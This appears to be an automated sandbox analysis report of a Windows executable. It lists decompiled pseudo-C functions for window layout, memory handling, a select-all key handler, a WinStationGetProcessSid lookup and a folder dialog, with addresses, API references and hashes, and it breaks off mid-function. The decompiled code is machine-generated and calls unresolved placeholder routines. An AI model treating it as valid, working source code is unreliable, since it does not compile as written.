0x004067ac
0x004067af
0x004067b5
0x004067ba
0x004067bf
0x004067c1
0x004067c6
0x004067c7
0x004067cc
0x004067cd
0x004067d2
0x004067d4
0x004067d9
0x004067da
0x004067df
0x004067e0
0x004067e5
0x004067e7
0x004067ec
0x004067ed
0x004067f2
0x004067f3
0x004067f8
0x004067fa
0x004067ff
0x00406800
0x00406805
0x00406806
0x00406808
0x0040680f
0x00406810
0x00406812
0x00406817
0x0040681e
0x00406828
0x0040682b
0x0040682c
0x0040681e
0x00406835
0x00406839
0x00406841

APIs

Part of subcall function 00406746: ??3@YAXPAX@Z.MSVCRT ref: 00406752
Part of subcall function 00406746: ??3@YAXPAX@Z.MSVCRT ref: 00406760
Part of subcall function 00406746: ??3@YAXPAX@Z.MSVCRT ref: 00406771
Part of subcall function 00406746: ??3@YAXPAX@Z.MSVCRT ref: 00406788
Part of subcall function 00406746: ??3@YAXPAX@Z.MSVCRT ref: 00406791

??3@YAXPAX@Z.MSVCRT ref: 004067C7
??3@YAXPAX@Z.MSVCRT ref: 004067DA
??3@YAXPAX@Z.MSVCRT ref: 004067ED
??3@YAXPAX@Z.MSVCRT ref: 00406800
free.MSVCRT(00000000), ref: 00406839

Part of subcall function 004055D1: free.MSVCRT(?,00405843,00000000,?,00000000), ref: 004055DA

Memory Dump Source

Source File: 0000000B.00000002.333687322.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.333678597.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.333723511.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.333753320.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.333768741.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: ??3@$free
String ID:
API String ID: 2241099983-0
Opcode ID: fae72e90abf19a0f598a0744b86edfa2e5e81d8d411ebeda80197a1c121c0671
Instruction ID: 35b4881f8254e3ed5d778deec4dde62c4732b660dc94e1daad4ca6c431b67ac1
Opcode Fuzzy Hash: fae72e90abf19a0f598a0744b86edfa2e5e81d8d411ebeda80197a1c121c0671
Instruction Fuzzy Hash: 4E010233902D209BCA217B2A950541FB395FE82B24316807FE802772C5CF38AC618AED

Uniqueness

Uniqueness Score: -1.00%

Function 00405CF8, Relevance: 7.5, APIs: 5, Instructions: 49
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00405CF8(void* __esi, struct HWND__* _a4, signed int _a8) {
				intOrPtr _v12;
				struct tagPOINT _v20;
				struct tagRECT _v36;
				int _t27;
				struct HWND__* _t30;
				struct HWND__* _t32;

				_t30 = _a4;
				if((_a8 & 0x00000001) != 0) {
					_t32 = GetParent(_t30);
					GetWindowRect(_t30,  &_v20);
					GetClientRect(_t32,  &_v36);
					MapWindowPoints(0, _t32,  &_v20, 2);
					_t27 = _v36.right - _v12 - _v36.left;
					_v20.x = _t27;
					SetWindowPos(_t30, 0, _t27, _v20.y, 0, 0, 5);
				}
				if((_a8 & 0x00000002) != 0) {
					E00404FBB(_t30);
				}
				return 1;
			}

0x00405d03
0x00405d06
0x00405d10
0x00405d17
0x00405d22
0x00405d32
0x00405d40
0x00405d48
0x00405d4e
0x00405d54
0x00405d59
0x00405d5c
0x00405d61
0x00405d67

APIs

GetParent.USER32(?), ref: 00405D0A
GetWindowRect.USER32 ref: 00405D17
GetClientRect.USER32 ref: 00405D22
MapWindowPoints.USER32 ref: 00405D32
SetWindowPos.USER32(?,00000000,?,00000001,00000000,00000000,00000005), ref: 00405D4E

Memory Dump Source

Source File: 0000000B.00000002.333687322.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.333678597.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.333723511.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.333753320.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.333768741.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: Window$Rect$ClientParentPoints
String ID:
API String ID: 4247780290-0
Opcode ID: a641cd19a410ed6a125ee0f2f41aa3775212a32dac042a11be58197803c42fc2
Instruction ID: c328b93d85e4c90ccc2b92edbac8192aeb41fc184e748709fb0c9a3f9f2b3a5a
Opcode Fuzzy Hash: a641cd19a410ed6a125ee0f2f41aa3775212a32dac042a11be58197803c42fc2
Instruction Fuzzy Hash: 41012932801029BBDB119BA59D8DEFFBFBCEF46750F04822AF901A2151D73895028BA5

Uniqueness

Uniqueness Score: -1.00%

Function 004083DC, Relevance: 7.5, APIs: 5, Instructions: 47
COMMON

Download Yara Rule

C-Code - Quality: 89%

			E004083DC(void* __eax, int __ebx, void* _a4) {
				signed int _v8;
				signed int _v12;
				void* _v16;
				void* _t20;
				void* _t21;
				signed int _t28;
				void* _t32;
				void* _t34;

				_t20 = __eax;
				_v12 = _v12 & 0x00000000;
				_push(__ebx);
				_t28 = __eax - 1;
				L0040B26C();
				_v16 = __eax;
				if(_t28 > 0) {
					_t21 = _a4;
					_v8 = __ebx;
					_v8 =  ~_v8;
					_t32 = _t28 * __ebx + _t21;
					_a4 = _t21;
					do {
						memcpy(_v16, _a4, __ebx);
						memcpy(_a4, _t32, __ebx);
						_t20 = memcpy(_t32, _v16, __ebx);
						_a4 = _a4 + __ebx;
						_t32 = _t32 + _v8;
						_t34 = _t34 + 0x24;
						_v12 = _v12 + 1;
						_t28 = _t28 - 1;
					} while (_t28 > _v12);
				}
				_push(_v16);
				L0040B272();
				return _t20;
			}

0x004083dc
0x004083e2
0x004083e9
0x004083ea
0x004083eb
0x004083f3
0x004083f6
0x004083f8
0x00408401
0x00408404
0x00408407
0x00408409
0x0040840c
0x00408413
0x0040841d
0x00408427
0x0040842c
0x0040842f
0x00408432
0x00408435
0x00408438
0x00408439
0x0040843e
0x0040843f
0x00408442
0x0040844a

APIs

??2@YAPAXI@Z.MSVCRT ref: 004083EB
memcpy.MSVCRT ref: 00408413
memcpy.MSVCRT ref: 0040841D
memcpy.MSVCRT ref: 00408427
??3@YAXPAX@Z.MSVCRT ref: 00408442

Memory Dump Source

Source File: 0000000B.00000002.333687322.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.333678597.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.333723511.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.333753320.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.333768741.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: memcpy$??2@??3@
String ID:
API String ID: 1252195045-0
Opcode ID: ae14ed78cb3b9c7a1656bdd7c9bb9ccf218141e25ab2435f791856beeb738110
Instruction ID: 529a25ebd12540bef40c4bbbf5f662c822a20cdbd1f214c79cf6c3b5efc5d95d
Opcode Fuzzy Hash: ae14ed78cb3b9c7a1656bdd7c9bb9ccf218141e25ab2435f791856beeb738110
Instruction Fuzzy Hash: 61017176C0410CBBCF006F99D8859DEBBB8EF40394F1080BEF80476161D7355E519B98

Uniqueness

Uniqueness Score: -1.00%

Function 00406746, Relevance: 7.5, APIs: 5, Instructions: 41
COMMON

Download Yara Rule

C-Code - Quality: 76%

			E00406746(void* __esi) {
				intOrPtr _t9;
				intOrPtr _t10;
				intOrPtr _t11;
				intOrPtr* _t18;
				void* _t19;

				_t19 = __esi;
				_t9 =  *((intOrPtr*)(__esi + 0x30));
				if(_t9 != 0) {
					_push(_t9);
					L0040B272();
				}
				_t10 =  *((intOrPtr*)(_t19 + 0x40));
				if(_t10 != 0) {
					_push(_t10);
					L0040B272();
				}
				_t11 =  *((intOrPtr*)(_t19 + 0x2d4));
				if(_t11 != 0) {
					_push(_t11);
					L0040B272();
				}
				_t18 =  *((intOrPtr*)(_t19 + 0x2c0));
				if(_t18 != 0) {
					_t11 =  *_t18;
					if(_t11 != 0) {
						_push(_t11);
						L0040B272();
						 *_t18 = 0;
					}
					_push(_t18);
					L0040B272();
				}
				 *((intOrPtr*)(_t19 + 0x2c0)) = 0;
				 *((intOrPtr*)(_t19 + 0x30)) = 0;
				 *((intOrPtr*)(_t19 + 0x40)) = 0;
				 *((intOrPtr*)(_t19 + 0x2d4)) = 0;
				return _t11;
			}

0x00406746
0x00406746
0x0040674f
0x00406751
0x00406752
0x00406757
0x00406758
0x0040675d
0x0040675f
0x00406760
0x00406765
0x00406766
0x0040676e
0x00406770
0x00406771
0x00406776
0x00406777
0x0040677f
0x00406781
0x00406785
0x00406787
0x00406788
0x0040678e
0x0040678e
0x00406790
0x00406791
0x00406796
0x00406798
0x0040679e
0x004067a1
0x004067a4
0x004067ab

APIs

??3@YAXPAX@Z.MSVCRT ref: 00406752
??3@YAXPAX@Z.MSVCRT ref: 00406760
??3@YAXPAX@Z.MSVCRT ref: 00406771
??3@YAXPAX@Z.MSVCRT ref: 00406788
??3@YAXPAX@Z.MSVCRT ref: 00406791

Memory Dump Source

Source File: 0000000B.00000002.333687322.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.333678597.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.333723511.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.333753320.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.333768741.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: ??3@
String ID:
API String ID: 613200358-0
Opcode ID: 086bdf89973be9db751c02ba5940a011d1fc21caf14060528ff21e4da5d0ecd6
Instruction ID: 2146815d826ad61a6329a34e2799f13692f9223f7a0132405705f454cb51ab02
Opcode Fuzzy Hash: 086bdf89973be9db751c02ba5940a011d1fc21caf14060528ff21e4da5d0ecd6
Instruction Fuzzy Hash: E1F0ECB2504701DBDB24AE7D99C881FA7E9BB05318B65087FF14AE3680C738B850461C

Uniqueness

Uniqueness Score: -1.00%

Function 0040ABA5, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 71
COMMON

Download Yara Rule

C-Code - Quality: 87%

			E0040ABA5(intOrPtr __ecx, void* __edi, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12) {
				struct HDWP__* _v8;
				intOrPtr _v12;
				void* __ebx;
				intOrPtr _t37;
				intOrPtr _t42;
				RECT* _t44;

				_push(__ecx);
				_push(__ecx);
				_t42 = __ecx;
				_v12 = __ecx;
				if(_a4 != 5) {
					if(_a4 != 0xf) {
						if(_a4 == 0x24) {
							_t37 = _a12;
							 *((intOrPtr*)(_t37 + 0x18)) = 0xc8;
							 *((intOrPtr*)(_t37 + 0x1c)) = 0xc8;
						}
					} else {
						E00402EC8(__ecx + 0x378);
					}
				} else {
					_v8 = BeginDeferWindowPos(3);
					_t44 = _t42 + 0x378;
					E00402E22(_t44, _t21, 0x65, 0, 0, 1, 1);
					E00402E22(_t44, _v8, 1, 1, 1, 0, 0);
					E00402E22(_t44, _v8, 2, 1, 1, 0, 0);
					EndDeferWindowPos(_v8);
					InvalidateRect( *(_t44 + 0x10), _t44, 1);
					_t42 = _v12;
				}
				return E00402CED(_t42, _a4, _a8, _a12);
			}

0x0040aba8
0x0040aba9
0x0040abb0
0x0040abb2
0x0040abb5
0x0040ac19
0x0040ac2c
0x0040ac2e
0x0040ac36
0x0040ac39
0x0040ac39
0x0040ac1b
0x0040ac21
0x0040ac21
0x0040abb7
0x0040abcb
0x0040abce
0x0040abd7
0x0040abe6
0x0040abf6
0x0040abfe
0x0040ac09
0x0040ac0f
0x0040ac12
0x0040ac4f

APIs

BeginDeferWindowPos.USER32(00000003), ref: 0040ABBA

Part of subcall function 00402E22: GetDlgItem.USER32 ref: 00402E32
Part of subcall function 00402E22: GetClientRect.USER32 ref: 00402E44
Part of subcall function 00402E22: DeferWindowPos.USER32 ref: 00402EB4

EndDeferWindowPos.USER32(?), ref: 0040ABFE
InvalidateRect.USER32(?,?,00000001), ref: 0040AC09

Strings

$, xrefs: 0040AC28

Memory Dump Source

Source File: 0000000B.00000002.333687322.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.333678597.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.333723511.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.333753320.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.333768741.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: DeferWindow$Rect$BeginClientInvalidateItem
String ID: $
API String ID: 2498372239-3993045852
Opcode ID: 3646c4f7f2df3bce7363561434de74107494107a1dc9a7f0debf38e758269ced
Instruction ID: c4de0c57513a3fc8bb763215dcca23c205eee760976c5819edcd99f4220bed98
Opcode Fuzzy Hash: 3646c4f7f2df3bce7363561434de74107494107a1dc9a7f0debf38e758269ced
Instruction Fuzzy Hash: 9A11ACB1544208FFEB229F51CD88DAF7A7CEB85788F10403EF8057A280C6758E52DBA5

Uniqueness

Uniqueness Score: -1.00%

Function 00403A73, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 54
keyboardwindowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00403A73(void* __esi, struct HWND__* _a4, int _a8, int _a12, long _a16) {
				int _t14;

				if(_a8 == 0x100 && _a12 == 0x41) {
					GetKeyState(0xa2);
					if(E00403A60(0xa2) != 0 || E00403A60(0xa3) != 0) {
						if(E00403A60(0xa0) == 0 && E00403A60(0xa1) == 0 && E00403A60(0xa4) == 0) {
							_t14 = E00403A60(0xa5);
							if(_t14 == 0) {
								SendMessageW(_a4, 0xb1, _t14, 0xffffffff);
							}
						}
					}
				}
				return CallWindowProcW( *0x40f2f0, _a4, _a8, _a12, _a16);
			}

0x00403a7d
0x00403a8c
0x00403a9c
0x00403aba
0x00403adf
0x00403ae7
0x00403af4
0x00403af4
0x00403ae7
0x00403aba
0x00403a9c
0x00403b13

APIs

GetKeyState.USER32(000000A2), ref: 00403A8C

Part of subcall function 00403A60: GetKeyState.USER32(?), ref: 00403A64

SendMessageW.USER32(?,000000B1,00000000,000000FF), ref: 00403AF4
CallWindowProcW.USER32(?,00000100,?,?), ref: 00403B0C

Strings

A, xrefs: 00403A7F

Memory Dump Source

Source File: 0000000B.00000002.333687322.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.333678597.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.333723511.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.333753320.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.333768741.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: State$CallMessageProcSendWindow
String ID: A
API String ID: 3924021322-3554254475
Opcode ID: 7a91954c753d57b62ada695ad1095f0bf88fde31d04a203a00175be824b18610
Instruction ID: 3f4bab65c8f2f559ff61c6136e8e970ba349fdfc906a465d58382778652fa82c
Opcode Fuzzy Hash: 7a91954c753d57b62ada695ad1095f0bf88fde31d04a203a00175be824b18610
Instruction Fuzzy Hash: AC01483130430AAEFF11DFE59D02ADA3A5CAF15327F114036FA96B81D1DBB887506E59

Uniqueness

Uniqueness Score: -1.00%

Function 004034F0, Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 51
COMMON

Download Yara Rule

C-Code - Quality: 91%

			E004034F0(void* __ecx, void* __eflags, intOrPtr* _a4) {
				intOrPtr _v20;
				char _v1072;
				void _v3672;
				char _v4496;
				intOrPtr _v4556;
				char _v4560;
				void* __edi;
				void* __esi;
				intOrPtr* _t41;
				void* _t45;

				_t45 = __eflags;
				E0040B550(0x11cc, __ecx);
				E00402923( &_v4560);
				_v4560 = 0x40db44;
				E00406670( &_v4496, _t45);
				_v4496 = 0x40dab0;
				memset( &_v3672, 0, 0x10);
				E0040A909( &_v1072);
				_t41 = _a4;
				_v4556 = 0x71;
				if(E00402CD5( &_v4560,  *((intOrPtr*)(_t41 + 0x10))) != 0) {
					L0040B266();
					 *((intOrPtr*)( *_t41 + 4))(1, _v20, _t41 + 0x5b2c, 0xa);
				}
				_v4496 = 0x40dab0;
				_v4560 = 0x40db44;
				E004067AC( &_v4496);
				return E00402940( &_v4560);
			}

0x004034f0
0x004034f8
0x00403506
0x00403516
0x0040351c
0x00403531
0x00403537
0x00403545
0x0040354a
0x00403556
0x00403567
0x00403575
0x00403583
0x00403583
0x00403586
0x00403592
0x00403598
0x004035ac

APIs

Part of subcall function 00402923: memset.MSVCRT ref: 00402935

Part of subcall function 00406670: ??2@YAPAXI@Z.MSVCRT ref: 004066B9
Part of subcall function 00406670: ??2@YAPAXI@Z.MSVCRT ref: 004066E0
Part of subcall function 00406670: ??2@YAPAXI@Z.MSVCRT ref: 00406701
Part of subcall function 00406670: ??2@YAPAXI@Z.MSVCRT ref: 00406722

memset.MSVCRT ref: 00403537
_ultow.MSVCRT ref: 00403575

Strings

cf@, xrefs: 0040352B
q, xrefs: 00403556

Memory Dump Source

Source File: 0000000B.00000002.333687322.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.333678597.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.333723511.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.333753320.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.333768741.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: ??2@$memset$_ultow
String ID: cf@$q
API String ID: 3448780718-2693627795
Opcode ID: 5a770fb105266b5f281bf636f392918a38755f6c8491aba89f246a667f584aac
Instruction ID: aa1ed1bb2df2d11c17fc3d40a8ec787ac421495c908f782690464d4e039b4fd8
Opcode Fuzzy Hash: 5a770fb105266b5f281bf636f392918a38755f6c8491aba89f246a667f584aac
Instruction Fuzzy Hash: 73113079A402186ACB24AB55DC41BCDB7B4AF45304F0084BAEB09771C1D7796E888FD8

Uniqueness

Uniqueness Score: -1.00%

Function 00407E24, Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 43
COMMON

Download Yara Rule

C-Code - Quality: 64%

			E00407E24(intOrPtr* __ecx, intOrPtr _a4) {
				void _v514;
				signed short _v516;
				void _v1026;
				signed short _v1028;
				void* __esi;
				void* _t17;
				intOrPtr* _t26;
				signed short* _t28;

				_v516 = _v516 & 0x00000000;
				_t26 = __ecx;
				memset( &_v514, 0, 0x1fc);
				_v1028 = _v1028 & 0x00000000;
				memset( &_v1026, 0, 0x1fc);
				_t17 =  *((intOrPtr*)( *_t26 + 0x24))();
				_t28 =  &_v516;
				E00407250(_t28, _t17);
				_push(_t28);
				_push(L"</%s>\r\n");
				_push(0xff);
				_push( &_v1028);
				L0040B1EC();
				return E00407343(_t26, _a4,  &_v1028);
			}

0x00407e2d
0x00407e46
0x00407e48
0x00407e4d
0x00407e5f
0x00407e6b
0x00407e6f
0x00407e75
0x00407e7c
0x00407e7d
0x00407e88
0x00407e8d
0x00407e8e
0x00407eaa

APIs

memset.MSVCRT ref: 00407E48
memset.MSVCRT ref: 00407E5F

Part of subcall function 00407250: wcscpy.MSVCRT ref: 00407255
Part of subcall function 00407250: _wcslwr.MSVCRT ref: 00407288

_snwprintf.MSVCRT ref: 00407E8E

Strings

</%s>, xrefs: 00407E7D

Memory Dump Source

Source File: 0000000B.00000002.333687322.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.333678597.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.333723511.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.333753320.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.333768741.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: memset$_snwprintf_wcslwrwcscpy
String ID: </%s>
API String ID: 3400436232-259020660
Opcode ID: 8ed6d9153b8ab756a1282c4525cb1f33682d7d4062ac2741ec7bca21e753fd7d
Instruction ID: 202c728a503fdded71e402cbdefdfedacf6d04e10f6749ebe2a15fa747ba2321
Opcode Fuzzy Hash: 8ed6d9153b8ab756a1282c4525cb1f33682d7d4062ac2741ec7bca21e753fd7d
Instruction Fuzzy Hash: 820186B2D4012966D720A795CC46FEE766CEF44318F0004FABB08F71C2DB78AB458AD8

Uniqueness

Uniqueness Score: -1.00%

Function 00405E0A, Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 39
COMMON

Download Yara Rule

C-Code - Quality: 77%

			E00405E0A(intOrPtr __ecx, void* __eflags, struct HWND__* _a4) {
				void _v8198;
				short _v8200;
				void* _t9;
				void* _t12;
				intOrPtr _t19;
				intOrPtr _t20;

				_t19 = __ecx;
				_t9 = E0040B550(0x2004, __ecx);
				_t20 = _t19;
				if(_t20 == 0) {
					_t20 =  *0x40fe24; // 0x0
				}
				_t25 =  *0x40fb90;
				if( *0x40fb90 != 0) {
					_v8200 = _v8200 & 0x00000000;
					memset( &_v8198, 0, 0x2000);
					_push(_t20);
					_t12 = 5;
					E00405E8D(_t12);
					if(E00405F39(_t19, _t25, L"caption",  &_v8200) != 0) {
						SetWindowTextW(_a4,  &_v8200);
					}
					return EnumChildWindows(_a4, E00405DAC, 0);
				}
				return _t9;
			}

0x00405e0a
0x00405e12
0x00405e18
0x00405e1c
0x00405e1e
0x00405e1e
0x00405e24
0x00405e2c
0x00405e2e
0x00405e44
0x00405e49
0x00405e4c
0x00405e4d
0x00405e68
0x00405e74
0x00405e74
0x00000000
0x00405e84
0x00405e8c

APIs

memset.MSVCRT ref: 00405E44
SetWindowTextW.USER32(?,?), ref: 00405E74
EnumChildWindows.USER32 ref: 00405E84

Strings

caption, xrefs: 00405E59

Memory Dump Source

Source File: 0000000B.00000002.333687322.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.333678597.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.333723511.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.333753320.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.333768741.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: ChildEnumTextWindowWindowsmemset
String ID: caption
API String ID: 1523050162-4135340389
Opcode ID: 8feeb8209b6c70e9adfa8bd3f92da79707fac4aecb0355a736b6ddf0df3d27b2
Instruction ID: ff9fcce37bd20e8a069aa1bb12297d26d3abb42d57bfe77991e9b0a8e19eae59
Opcode Fuzzy Hash: 8feeb8209b6c70e9adfa8bd3f92da79707fac4aecb0355a736b6ddf0df3d27b2
Instruction Fuzzy Hash: 2DF04432940718AAEB20AB54DD4EB9B3668DB04754F0041B7BA04B61D2D7B8AE40CEDC

Uniqueness

Uniqueness Score: -1.00%

Function 00409A46, Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 31
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00409A46(struct HINSTANCE__** __eax, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20) {
				struct HINSTANCE__* _t11;
				struct HINSTANCE__** _t14;
				struct HINSTANCE__* _t15;

				_t14 = __eax;
				if( *((intOrPtr*)(__eax)) == 0) {
					_t11 = E00405436(L"winsta.dll");
					 *_t14 = _t11;
					if(_t11 != 0) {
						_t14[1] = GetProcAddress(_t11, "WinStationGetProcessSid");
					}
				}
				_t15 = _t14[1];
				if(_t15 == 0) {
					return 0;
				} else {
					return _t15->i(0, _a4, _a16, _a20, _a8, _a12);
				}
			}

0x00409a4a
0x00409a4f
0x00409a56
0x00409a5e
0x00409a60
0x00409a6e
0x00409a6e
0x00409a60
0x00409a71
0x00409a76
0x00000000
0x00409a78
0x00000000
0x00409a89

APIs

Part of subcall function 00405436: memset.MSVCRT ref: 00405456
Part of subcall function 00405436: wcscat.MSVCRT ref: 00405478
Part of subcall function 00405436: LoadLibraryW.KERNELBASE(00000000), ref: 00405489
Part of subcall function 00405436: LoadLibraryW.KERNEL32(?), ref: 00405492

GetProcAddress.KERNEL32(00000000,WinStationGetProcessSid), ref: 00409A68

Strings

winsta.dll, xrefs: 00409A51
WinStationGetProcessSid, xrefs: 00409A62
Y@, xrefs: 00409A46

Memory Dump Source

Source File: 0000000B.00000002.333687322.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.333678597.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.333723511.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.333753320.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.333768741.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: LibraryLoad$AddressProcmemsetwcscat
String ID: WinStationGetProcessSid$winsta.dll$Y@
API String ID: 946536540-379566740
Opcode ID: 1b7ebfe453553e3f98933d91fdad94fbea9a23791565fec376d5a3071c2edda0
Instruction ID: f8fd4ca1437852706c932511ef9fc121d1f4ef25cad53c4396aefa54a2cc69ea
Opcode Fuzzy Hash: 1b7ebfe453553e3f98933d91fdad94fbea9a23791565fec376d5a3071c2edda0
Instruction Fuzzy Hash: 4AF08236644219AFCF219FE09C01B977BD5AB08710F00443AF945B21D1D67588509F98

Uniqueness

Uniqueness Score: -1.00%

Function 0040588E, Relevance: 6.1, APIs: 4, Instructions: 63
COMMON

Download Yara Rule

C-Code - Quality: 93%

			E0040588E(void** __esi, intOrPtr _a4, intOrPtr _a8) {
				signed int _t21;
				signed int _t23;
				void* _t24;
				signed int _t31;
				void* _t33;
				void* _t44;
				signed int _t46;
				void* _t48;
				signed int _t51;
				int _t52;
				void** _t53;
				void* _t58;

				_t53 = __esi;
				_t1 =  &(_t53[1]); // 0x0
				_t51 =  *_t1;
				_t21 = 0;
				if(_t51 <= 0) {
					L4:
					_t2 =  &(_t53[2]); // 0x8
					_t33 =  *_t53;
					_t23 =  *_t2 + _t51;
					_t46 = 8;
					_t53[1] = _t23;
					_t24 = _t23 * _t46;
					_push( ~(0 | _t58 > 0x00000000) | _t24);
					L0040B26C();
					_t10 =  &(_t53[1]); // 0x0
					 *_t53 = _t24;
					memset(_t24, 0,  *_t10 << 3);
					_t52 = _t51 << 3;
					memcpy( *_t53, _t33, _t52);
					if(_t33 != 0) {
						_push(_t33);
						L0040B272();
					}
					 *((intOrPtr*)( *_t53 + _t52)) = _a4;
					 *((intOrPtr*)(_t52 +  *_t53 + 4)) = _a8;
				} else {
					_t44 =  *__esi;
					_t48 = _t44;
					while( *_t48 != 0) {
						_t21 = _t21 + 1;
						_t48 = _t48 + 8;
						_t58 = _t21 - _t51;
						if(_t58 < 0) {
							continue;
						} else {
							goto L4;
						}
						goto L7;
					}
					_t31 = _t21 << 3;
					 *((intOrPtr*)(_t44 + _t31)) = _a4;
					 *((intOrPtr*)(_t31 +  *_t53 + 4)) = _a8;
				}
				L7:
				return 1;
			}

0x0040588e
0x0040588f
0x0040588f
0x00405892
0x00405896
0x004058a9
0x004058a9
0x004058ad
0x004058af
0x004058b5
0x004058b6
0x004058b9
0x004058c2
0x004058c3
0x004058c8
0x004058d2
0x004058d4
0x004058d9
0x004058e0
0x004058ea
0x004058ec
0x004058ed
0x004058f2
0x004058f9
0x00405902
0x00405898
0x00405898
0x0040589a
0x0040589c
0x004058a1
0x004058a2
0x004058a5
0x004058a7
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x004058a7
0x00405912
0x00405915
0x0040591e
0x0040591e
0x00405907
0x0040590b

APIs

??2@YAPAXI@Z.MSVCRT ref: 004058C3
memset.MSVCRT ref: 004058D4
memcpy.MSVCRT ref: 004058E0
??3@YAXPAX@Z.MSVCRT ref: 004058ED

Memory Dump Source

Source File: 0000000B.00000002.333687322.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.333678597.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.333723511.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.333753320.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.333768741.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: ??2@??3@memcpymemset
String ID:
API String ID: 1865533344-0
Opcode ID: 842e7f25b611a1b365b40b1c94d0ccd91a374462c013338e9ea48621bac1a915
Instruction ID: bfbe461037e943c94cde62efea7f8de8011d206b5eb27adb1998baad11e83e26
Opcode Fuzzy Hash: 842e7f25b611a1b365b40b1c94d0ccd91a374462c013338e9ea48621bac1a915
Instruction Fuzzy Hash: 9F116A722046019FD328DF2DC881A2BF7E5EFD8300B248C2EE49A97395DB35E801CB58

Uniqueness

Uniqueness Score: -1.00%

Function 0040ACFC, Relevance: 6.1, APIs: 4, Instructions: 53
COMMON

Download Yara Rule

C-Code - Quality: 37%

			E0040ACFC(wchar_t* __esi, char _a4, intOrPtr _a8) {
				void* _v8;
				wchar_t* _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				char _v40;
				long _v564;
				char* _t18;
				char* _t22;
				wchar_t* _t23;
				intOrPtr* _t24;
				intOrPtr* _t26;
				intOrPtr _t30;
				void* _t35;
				char* _t36;

				_t18 =  &_v8;
				_t30 = 0;
				__imp__SHGetMalloc(_t18);
				if(_t18 >= 0) {
					_v40 = _a4;
					_v28 = _a8;
					_t22 =  &_v40;
					_v36 = 0;
					_v32 = 0;
					_v24 = 4;
					_v20 = E0040AC81;
					_v16 = __esi;
					__imp__SHBrowseForFolderW(_t22, _t35);
					_t36 = _t22;
					if(_t36 != 0) {
						_t23 =  &_v564;
						__imp__SHGetPathFromIDListW(_t36, _t23);
